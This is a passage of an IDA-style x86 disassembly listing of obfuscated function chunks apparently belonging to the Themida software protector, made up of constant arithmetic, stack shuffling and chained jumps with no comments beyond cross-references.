sub edx, 7261E71h
sub edx, 101D74D6h
jmp loc_5868C9
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58DCD4
loc_5882DE: ; CODE XREF: sub_58DCD4+10j
mov ecx, 15D12550h
mov edx, ecx
jmp loc_58E2FA
; END OF FUNCTION CHUNK FOR sub_58DCD4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5882EA: ; CODE XREF: sub_585452+46D4j
push edx
mov edx, 2D4B7D28h
mov eax, 6ADFC72Ch
sub eax, edx
pop edx
push edi
mov edi, 8B1201h
add eax, edi
mov edi, [esp-8+arg_4]
add esp, 4
add edi, eax
pop eax
jmp loc_585BF4
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_588311: ; CODE XREF: sub_58EFBD-23DCj
not eax
push edx
jmp loc_58BC80
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
loc_588319: ; CODE XREF: Themida_:00588601j
pop esp
add ebx, 4
add ebx, 4
jmp loc_58EAD3
; =============== S U B R O U T I N E =======================================
sub_58832B proc near ; CODE XREF: sub_585452+2652j
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0058B4BD SIZE 00000012 BYTES
push ebx
mov ebx, 59F01818h
sub ecx, ebx
pop ebx
add ecx, 1B9E2035h
jmp loc_58B4BD
sub_58832B endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58833F: ; CODE XREF: sub_585452+3FCAj
sub eax, 2C3F4A5Ch
mov edx, [esp+0]
add esp, 4
push edx
push 63E16B64h
pop edx
dec edx
shr edx, 5
or edx, 439D2FE0h
add edx, 0BC60D009h
sub eax, edx
pop edx
push eax
push [esp-10h+arg_E+2]
pop eax
pop dword ptr [esp+0]
jmp loc_588A75
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_583C38
loc_588372: ; CODE XREF: sub_583C38+1Bj
pop ebp
mov edx, [esp-4+arg_0]
jmp loc_589BDC
; END OF FUNCTION CHUNK FOR sub_583C38
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C31F
loc_58837B: ; CODE XREF: sub_58C31F+5C2j
sub eax, 227ABBB0h
mov ebp, eax
pop eax
add edi, ebp
push [esp+4+var_4]
pop ebp
push ebx
mov ebx, esp
push ebp
mov ebp, 4
add ebx, ebp
pop ebp
add ebx, 4
xchg ebx, [esp+8+var_8]
jmp loc_589D89
; END OF FUNCTION CHUNK FOR sub_58C31F
; ---------------------------------------------------------------------------
loc_5883A3: ; CODE XREF: Themida_:0058E466j
sub ecx, 3C577C8Ah
add ecx, 30FF18A6h
pop esi
push esi
mov esi, 2
add ecx, esi
mov esi, [esp]
add esp, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
btr [esp], ax
pushf
jmp loc_583C20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5883D8: ; CODE XREF: sub_585452+A10j
push [esp+4+var_4]
pop ebp
push 4C2h
mov [esp+8+var_8], ecx
sub esp, 4
mov [esp+0Ch+var_C], esp
add [esp+0Ch+var_C], 4
pop ecx
push 525Eh
mov [esp+0Ch+var_C], esi
mov esi, 4
add ecx, esi
jmp loc_5895E6
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_588403: ; CODE XREF: Themida_:0058D9D5j
add edx, 4
xchg edx, [esp]
jmp loc_58BC36
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_587574
loc_58840E: ; CODE XREF: sub_587574-B53j
push ecx
mov ecx, 3ADC075Dh
dec ecx
dec ecx
or ecx, 3B3C2145h
and ecx, 1C2A0CBCh
shr ecx, 2
xor ecx, 2A425AEEh
dec ecx
push eax
jmp loc_5870F2
; END OF FUNCTION CHUNK FOR sub_587574
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_588432: ; CODE XREF: sub_585452+5DA3j
pop esp
xor esi, 13B6641Bh
push 3498h
jmp loc_58E64D
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589FD5
loc_588443: ; CODE XREF: sub_589FD5-38F2j
sub esi, edi
pop edi
push 0ED2h
mov [esp-8+arg_4], esi
push [esp-8+arg_8]
jmp loc_58F63D
; END OF FUNCTION CHUNK FOR sub_589FD5
; ---------------------------------------------------------------------------
loc_588457: ; CODE XREF: Themida_:00587B07j
add [esp+4], edi
jmp loc_587391
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_588460: ; CODE XREF: sub_585452+9DC8j
pop ecx
mov edi, [esp+8+var_8]
add esp, 4
jmp loc_58A699
; ---------------------------------------------------------------------------
loc_58846C: ; CODE XREF: sub_585452+9251j
mov ebx, [esp+4+var_4]
add esp, 4
push 6DFh
mov [esp+4+var_4], ecx
push edx
jmp loc_5899E9
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_588480: ; CODE XREF: Themida_:0058CCE6j
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
mov fs:[edx], ax
jmp loc_583C20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58A4F5
loc_588493: ; CODE XREF: sub_58A4F5+E7Aj
mov ebx, [esp+8+var_8]
add esp, 4
push ebx
mov bl, 0FDh
neg bl
inc bl
push 4F1Dh
mov [esp+0Ch+var_C], ecx
mov cl, 9
shl cl, 3
jmp sub_587E93
; END OF FUNCTION CHUNK FOR sub_58A4F5
; ---------------------------------------------------------------------------
lodsb
push small 75A4h
mov [esp], bx
mov bh, 1Ah
jmp loc_585C72
; ---------------------------------------------------------------------------
loc_5884C5: ; CODE XREF: Themida_:00588F66j
push eax
mov eax, esp
push esi
mov esi, 4FA663B9h
sub esi, 0FFFFFFFFh
jmp loc_58D3A1
; ---------------------------------------------------------------------------
loc_5884D6: ; CODE XREF: Themida_:00583D2Dj
sub bl, al
add bl, 0D1h
jmp loc_58FF85
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5884E0: ; CODE XREF: sub_585452+64Fj
pop edx
shl edx, 6
sub edx, 0A550E6BCh
add ecx, 2AAE50D8h
add ecx, 49BC24D5h
jmp loc_58F299
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_5884FB: ; CODE XREF: sub_58EFBD-3276j
add esp, 4
push edi
push esp
pop edi
add edi, 4
push ecx
jmp loc_587F43
; ---------------------------------------------------------------------------
loc_58850D: ; CODE XREF: sub_58EFBD-10B1j
mov ebx, 3ECA1652h
add ebp, 7E602FB5h
add ebp, ebx
jmp loc_586F22
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcr dword ptr [esp], cl
pushf
jmp loc_5878B6
; ---------------------------------------------------------------------------
mov cx, [esp]
push 4ECAh
jmp loc_589AEE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58853C: ; CODE XREF: sub_585452+7B40j
mov bh, cl
jmp loc_584A53
; ---------------------------------------------------------------------------
loc_588543: ; CODE XREF: sub_585452+54C1j
mov edx, esp
sub esp, 4
mov [esp+52h+var_54+2], ebx
mov ebx, 4
add edx, ebx
mov ebx, [esp+52h+var_54+2]
push esi
mov esi, esp
jmp loc_58C437
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_588560: ; CODE XREF: Themida_:00585EB4j
push 2
pop esi
add edx, esi
jmp loc_585460
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58856D: ; CODE XREF: sub_585452+46Bj
push edi
push eax
push 511E4519h
jmp loc_589B2B
; ---------------------------------------------------------------------------
loc_588579: ; CODE XREF: sub_585452+74D4j
sub esi, 0D920C8Ah
jmp loc_58C3F1
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F3BC
loc_588584: ; CODE XREF: sub_58F3BC-6D17j
push esi
mov esi, 339B46CDh
jmp loc_587BD7
; END OF FUNCTION CHUNK FOR sub_58F3BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58858F: ; CODE XREF: sub_585452+19B4j
add edi, 57EBEAD0h
and edx, edi
mov edi, [esp+0Ah+var_C+2]
add esp, 4
jmp loc_58AFF3
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_5885A2: ; CODE XREF: sub_58EFBD-B7Fj
xor ebx, 0D64F66AAh
push esi
push ebp
jmp loc_58DD90
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
loc_5885AF: ; CODE XREF: Themida_:00584C3Aj
add eax, 4
jmp loc_5885FE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5885B7: ; CODE XREF: sub_585452+1F83j
add ebp, 4
jmp loc_58BEB0
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_5885BF: ; CODE XREF: Themida_:0058CF4Fj
sub eax, 607793Ch
or [edi+1Ch], eax
mov eax, [esp]
add esp, 4
jmp loc_583C20
; ---------------------------------------------------------------------------
loc_5885D5: ; CODE XREF: Themida_:0058FA53j
add esp, 4
jmp loc_58BD79
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5885DD: ; CODE XREF: sub_585452-C05j
sub ecx, eax
pop eax
and eax, ecx
push dword ptr [esp+0]
pop ecx
add esp, 4
or eax, eax
jz sub_58DB2A
push 552Bh
jmp loc_58893B
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_5885FE: ; CODE XREF: Themida_:005885B2j
xchg eax, [esp]
jmp loc_588319
; ---------------------------------------------------------------------------
loc_588606: ; CODE XREF: Themida_:00586AD5j
sub eax, 22314055h
mov esi, [esp]
add esp, 4
push edi
mov edi, 4
sub eax, edi
mov edi, [esp]
jmp loc_588C60
; ---------------------------------------------------------------------------
loc_588621: ; CODE XREF: Themida_:0058F8ADj
pop eax
add edx, edi
jmp loc_58B912
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_588629: ; CODE XREF: sub_585452+1259j
pop ebx
mov esi, [esp+0]
add esp, 4
and ecx, ebp
push [esp-6+arg_0+2]
mov ebp, [esp+0]
add esp, 4
add esp, 4
shr ecx, 6
push ebx
push [esp-6+arg_0+2]
push dword ptr [esp+0]
pop eax
push ebp
push esp
pop ebp
push eax
mov eax, 49457640h
jmp loc_587D2D
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58865D: ; CODE XREF: Themida_:00589760j
push esi
mov esi, 4
add edi, esi
pop esi
jmp loc_58AC14
; ---------------------------------------------------------------------------
loc_58866B: ; CODE XREF: Themida_:0058F0AFj
push esp
mov edi, [esp]
add esp, 4
push edx
sub esp, 4
jmp loc_58E2E4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58867B: ; CODE XREF: sub_585452+420Bj
sub ebx, 4
xchg ebx, [esp+6+var_8+2]
jmp loc_5873BB
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_588686: ; CODE XREF: Themida_:0058D680j
push esi
mov esi, esp
add esi, 4
jmp loc_58A60C
; ---------------------------------------------------------------------------
pop dword ptr [edx]
jmp loc_5847DE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58869B: ; CODE XREF: sub_585452+7D6j
pop edi
mov eax, [esp-0Ch+arg_8]
jmp loc_58D383
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F3BC
loc_5886A4: ; CODE XREF: sub_58F3BC-7856j
push edi
jmp loc_588584
; END OF FUNCTION CHUNK FOR sub_58F3BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58999B
loc_5886AA: ; CODE XREF: sub_58999B+50B4j
add ecx, 4
jmp loc_58D93A
; END OF FUNCTION CHUNK FOR sub_58999B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58AB18
loc_5886B5: ; CODE XREF: sub_58AB18-6BD6j
pop edx
jmp loc_58E0E3
; END OF FUNCTION CHUNK FOR sub_58AB18
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5886BB: ; CODE XREF: sub_585452+82B3j
push ecx
mov ecx, 4
add esi, ecx
pop ecx
push ebx
jmp loc_589C80
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_5886CA: ; CODE XREF: Themida_:00583CF1j
push ebp
jmp loc_589A6E
; ---------------------------------------------------------------------------
loc_5886D0: ; CODE XREF: Themida_:00586D43j
add bh, 55h
or cl, bh
mov ebx, [esp]
add esp, 4
jmp loc_58B409
; =============== S U B R O U T I N E =======================================
sub_5886E0 proc near ; CODE XREF: sub_58CF6A+E6Aj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = word ptr -4
; FUNCTION CHUNK AT 00586858 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0058988F SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00589CDA SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058AE88 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058B1C9 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0058D70A SIZE 00000009 BYTES
push ebp
mov ebp, 8DC039Fh
neg ebp
push 2CC1h
mov [esp+8+var_8], edi
push 35813EDAh
jmp loc_58AE88
sub_5886E0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_5886FA: ; CODE XREF: Themida_:00584C42j
sub eax, 77B44EC9h
inc eax
xchg eax, edx
jmp loc_58A8D3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_588706: ; CODE XREF: sub_585452+6356j
sub eax, 887C83Ch
add ebx, 2D268C8h
add ebx, eax
jmp loc_58B628
; ---------------------------------------------------------------------------
loc_588718: ; CODE XREF: sub_585452+4467j
sub ecx, 5F7207B8h
pop eax
sub esp, 4
mov [esp-8+arg_4], ebx
mov ebx, 56497C35h
jmp loc_584D60
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_587574
loc_588732: ; CODE XREF: sub_587574+7F83j
dec esi
or esi, 37487494h
sub esi, 37EB74D2h
jmp loc_58631A
; END OF FUNCTION CHUNK FOR sub_587574
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589967
loc_588744: ; CODE XREF: sub_589967+3BA2j
dec ebx
or ebx, 16816326h
dec ebx
add ebx, 0E0208046h
sub ebp, 37A0770Ch
add ebp, ebx
jmp loc_5866B7
; END OF FUNCTION CHUNK FOR sub_589967
; ---------------------------------------------------------------------------
loc_58875F: ; CODE XREF: Themida_:00589D09j
mov ebx, [esp]
push 5B62h
mov [esp], edi
mov edi, esp
jmp loc_586679
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_588771: ; CODE XREF: sub_58EFBD-7723j
add edi, esi
pop esi
mov ecx, [esp+0]
jmp loc_584568
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58877C: ; CODE XREF: sub_585452+1C60j
mov al, 0B2h
add bl, al
pop ax
add dh, bl
pop ebx
shl dh, 2
xor dh, 9
mov bl, dh
pop edx
shr bl, 7
push 0
sub byte ptr [esp+46h+var_48+2], bl
mov bl, byte ptr [esp+46h+var_48+2]
add esp, 4
or bl, 9Fh
sub bl, 81h
push ecx
jmp loc_58A7B7
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_5887AB: ; CODE XREF: Themida_:00584298j
add ebp, ecx
pop ecx
jmp loc_588AFA
; ---------------------------------------------------------------------------
loc_5887B3: ; CODE XREF: Themida_:0058B02Cj
mov esi, [esp]
add esp, 4
add esi, 4
push ecx
mov ecx, 2
add esi, ecx
jmp loc_588C77
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C230
loc_5887CC: ; CODE XREF: sub_58C230+181Ej
pop ebp
add esi, 4
xchg esi, [esp-8+arg_4]
mov esp, [esp-8+arg_4]
add edi, 3E1E30ACh
sub edi, 6EAA4644h
add edi, 6BF1F5Bh
add edi, ecx
sub edi, 6BF1F5Bh
add edi, 6EAA4644h
sub edi, 3E1E30ACh
add edi, 430324F5h
add edi, 53CF6FA4h
std
push 0Ah
push [esp-4+arg_0]
push dword ptr [esp+0]
jmp loc_5853D8
; END OF FUNCTION CHUNK FOR sub_58C230
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_58881C: ; CODE XREF: sub_58EFBD-6D08j
mov [esp+0], esi
mov esi, 6F135C71h
mov edx, esi
jmp loc_5888A9
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58882B: ; CODE XREF: sub_585452+3EA8j
push [esp+46h+var_44+2]
mov ecx, [esp+4Ah+var_4C+2]
add esp, 4
pop [esp+46h+var_48+2]
jmp loc_58457E
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
mov eax, [esp]
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
jmp loc_585047
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58960C
loc_588854: ; CODE XREF: sub_58960C-4429j
add esp, 4
push 2294h
mov [esp+4+var_4], ebp
push ebx
mov ebx, 3E892A5Eh
jmp loc_586C94
; END OF FUNCTION CHUNK FOR sub_58960C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_58886D: ; CODE XREF: sub_58EFBD+126j
add ecx, 4C44859h
mov eax, [ecx]
pop ecx
pop edx
pop ebx
push dword ptr [edi+eax*4]
push ebp
push eax
mov eax, 1B0E6059h
neg eax
shr eax, 8
jmp loc_584882
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58A5A3
loc_58888C: ; CODE XREF: sub_58A5A3-33AFj
xor eax, 65E745F6h
not eax
shl eax, 5
jmp loc_587EC7
; END OF FUNCTION CHUNK FOR sub_58A5A3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58889B: ; CODE XREF: sub_585452+A995j
add esp, 4
add ebx, 18346755h
jmp loc_58D925
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_5888A9: ; CODE XREF: sub_58EFBD-6797j
pop esi
shr edx, 6
push ecx
push 45h
mov [esp+4+var_4], eax
mov eax, 396F61A6h
jmp loc_584F49
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
loc_5888C0: ; CODE XREF: Themida_:0058E82Bj
pop eax
add esp, 4
add esp, 4
push 276Ch
mov [esp], ebp
push esp
jmp loc_586E0B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58BB49
loc_5888D5: ; CODE XREF: sub_58BB49-742Aj
add esp, 4
jmp loc_5872A1
; END OF FUNCTION CHUNK FOR sub_58BB49
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58BCA7
loc_5888E0: ; CODE XREF: sub_58BCA7-5D69j
mov ebx, 57F70AA1h
jmp loc_58640A
; END OF FUNCTION CHUNK FOR sub_58BCA7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5888EA: ; CODE XREF: sub_585452+81Bj
add bh, 25h
jmp loc_58417E
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_5888F2: ; CODE XREF: Themida_:005890FCj
xchg edi, [esp]
mov esp, [esp]
mov eax, [esp]
push 13CAh
mov [esp], edx
push esp
pop edx
add edx, 4
jmp loc_585794
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_588910: ; CODE XREF: sub_585452-697j
mov eax, esp
jmp loc_58454B
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_588917: ; CODE XREF: Themida_:0058AB06j
push esi
mov esi, esp
add esi, 4
sub esi, 4
jmp loc_58A106
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58E234
loc_58892B: ; CODE XREF: sub_58E234-1258j
mov esi, 5E5C0CF4h
and esi, 6FB602Fh
jmp loc_587CF3
; END OF FUNCTION CHUNK FOR sub_58E234
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58893B: ; CODE XREF: sub_585452+31A7j
mov [esp+0], edx
mov edx, 1Ch
add edx, 1B8B53B8h
sub edx, 569B7031h
add edx, edi
add edx, 569B7031h
push edi
push edx
push 65AC14E0h
pop edx
jmp loc_58F565
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_588964: ; CODE XREF: Themida_:0058B222j
pop ebp
jmp loc_58B2DC
; ---------------------------------------------------------------------------
loc_58896A: ; CODE XREF: Themida_:0058B563j
pop esp
mov [esp], esi
push 20D2h
jmp loc_58B025
; ---------------------------------------------------------------------------
loc_588978: ; CODE XREF: Themida_:0058452Cj
add ebp, 495F307Ah
add ebp, esi
sub ebp, 495F307Ah
pop esi
jmp loc_58BD2A
; ---------------------------------------------------------------------------
loc_58898C: ; CODE XREF: Themida_:0058D85Aj
not edx
add edx, 20163815h
mov ebp, edx
pop edx
jmp loc_584E72
; ---------------------------------------------------------------------------
loc_58899C: ; CODE XREF: Themida_:0058E6BDj
add edi, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
push dword ptr [eax]
jmp loc_583C20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5889B0: ; CODE XREF: sub_585452+21ECj
pop [esp+46h+var_48+2]
pop esp
add byte ptr [esp+3Eh+var_40+2], al
pushf
jmp loc_583C20
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589967
loc_5889BD: ; CODE XREF: sub_589967-8E8j
mov ebp, esi
pop esi
pop edx
sub [edi+24h], ebp
mov ebp, [esp+18h+var_18]
push ebp
push esp
jmp loc_58E7F4
; END OF FUNCTION CHUNK FOR sub_589967
; ---------------------------------------------------------------------------
loc_5889CE: ; CODE XREF: Themida_:0058F04Fj
add esi, ebx
mov ebx, [esp]
push esi
push esp
pop esi
push edx
mov edx, 4
add esi, edx
pop edx
push 5299h
mov [esp], ecx
mov ecx, 4
add esi, ecx
pop ecx
xchg esi, [esp]
jmp loc_5899C3
; ---------------------------------------------------------------------------
loc_5889F7: ; CODE XREF: Themida_:00589B98j
push ecx
push eax
mov eax, 475948B2h
mov ecx, 475948B6h
sub ecx, eax
jmp loc_583F7A
; ---------------------------------------------------------------------------
loc_588A0A: ; CODE XREF: Themida_:0058E49Ej
not di
xchg di, [esp]
pop si
xchg si, [esp]
mov bp, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 2
xchg edi, [esp]
pop esp
xchg bp, [esp]
jmp loc_583C20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_588A34: ; CODE XREF: sub_585452+82DFj
pop esp
push edx
mov edx, 274F0327h
sub eax, edx
pop edx
sub eax, ebx
jmp loc_5848EE
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_588A45: ; CODE XREF: Themida_:0058EE1Ej
add ebx, 2
xchg ebx, [esp]
mov esp, [esp]
xor [esp], al
pushf
jmp loc_583C20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_588A5A: ; CODE XREF: sub_585452+59E7j
mov ebp, 7BF445A8h
mov edx, ebp
pop ebp
add [esp+3Ah+var_34+2], edx
jmp loc_58F1EA
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_588A6B: ; CODE XREF: Themida_:0058B37Cj
jmp loc_583C20
; ---------------------------------------------------------------------------
loc_588A70: ; CODE XREF: Themida_:0058747Ej
jmp loc_583C20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_588A75: ; CODE XREF: sub_585452+2F1Bj
mov esp, [esp-14h+arg_E+2]
mov [esp-14h+arg_E+2], edx
sub esp, 4
jmp loc_58D602
; ---------------------------------------------------------------------------
loc_588A83: ; CODE XREF: sub_585452-21Dj
dec edx
push edi
mov edi, 60BC3284h
dec edi
inc edi
jmp loc_58903D
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_588A91: ; CODE XREF: Themida_:0058E90Dj
mov [esp], ecx
push dword ptr [esp+4]
mov ecx, [esp]
add esp, 4
jmp loc_58A0C3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_588AA6: ; CODE XREF: sub_585452+5354j
mov [esp+0], ecx
jmp loc_5863BF
; ---------------------------------------------------------------------------
loc_588AAE: ; CODE XREF: sub_585452+1F6Dj
mov ah, 0CBh
or ch, ah
pop eax
jmp loc_58AE3E
; ---------------------------------------------------------------------------
loc_588AB8: ; CODE XREF: sub_585452+236Cj
mov cl, ah
pop eax
pop edx
jmp loc_58B19E
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_588AC1: ; CODE XREF: Themida_:0058DCA4j
mov [esp], si
jmp loc_58BF88
; ---------------------------------------------------------------------------
loc_588ACA: ; CODE XREF: Themida_:0058968Cj
push edx
mov edx, 2
jmp loc_58B6B3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589967
loc_588AD5: ; CODE XREF: sub_589967-51BAj
pop ebp
xor ebp, edx
jmp loc_58A317
; END OF FUNCTION CHUNK FOR sub_589967
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_588ADD: ; CODE XREF: sub_585452-1202j
mov edi, esp
add edi, 4
push eax
push 4
pop eax
add edi, eax
jmp loc_58429D
; ---------------------------------------------------------------------------
loc_588AF3: ; CODE XREF: sub_585452+A199j
push edi
push esp
jmp loc_589640
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_588AFA: ; CODE XREF: Themida_:005887AEj
shl ebp, 6
shl ebp, 2
sub ebp, 0FFFFFFFFh
push ecx
mov ecx, 519345B1h
shl ecx, 7
xor ecx, 0C968CB81h
add ebp, ecx
pop ecx
add eax, ebp
pop ebp
xchg eax, [esp]
mov esp, [esp]
ror byte ptr [esp], cl
pushf
jmp loc_583C20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_588B27: ; CODE XREF: sub_585452+37C0j
add esi, ebp
add esi, 527F2A13h
pop ebp
xor esi, [esp-4+arg_0]
jmp loc_5857E9
; ---------------------------------------------------------------------------
loc_588B38: ; CODE XREF: sub_585452+A0F2j
mov ebp, ecx
pop ecx
and ebp, 60D2067Ah
push edx
jmp loc_58F760
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58CA39
loc_588B47: ; CODE XREF: sub_58CA39+8j
pop ebp
mov eax, ecx
pop ecx
add ebx, eax
pop eax
xchg ebx, [esp+0]
jmp loc_587E0E
; END OF FUNCTION CHUNK FOR sub_58CA39
; ---------------------------------------------------------------------------
loc_588B56: ; CODE XREF: Themida_:00587793j
push esi
push 4
jmp loc_58DA8E
; ---------------------------------------------------------------------------
push 5A13h
mov [esp], esp
sub esp, 4
mov [esp], ebp
jmp loc_58E8FF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_588B74: ; CODE XREF: sub_585452+69DBj
push esi
jmp loc_587719
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_588B7A: ; CODE XREF: sub_58EFBD-59ECj
add edx, ecx
mov ecx, [esp+4+var_4]
jmp loc_58BF3C
; ---------------------------------------------------------------------------
loc_588B84: ; CODE XREF: sub_58EFBD-8AE2j
push ecx
push esp
pop ecx
add ecx, 4
sub ecx, 4
xchg ecx, [esp-4+arg_0]
mov esp, [esp-4+arg_0]
jmp loc_5882AD
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_588B9E: ; CODE XREF: sub_585452-1063j
mov esp, [esp-4+arg_0]
imul cx
push small 0F8Eh
mov [esp+0], dx
push ax
pushf
jmp loc_583C20
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_588BB4: ; CODE XREF: Themida_:0058CE35j
push 1FEFh
mov [esp], esi
mov esi, 4
add ecx, esi
push dword ptr [esp]
pop esi
add esp, 4
add ecx, 2
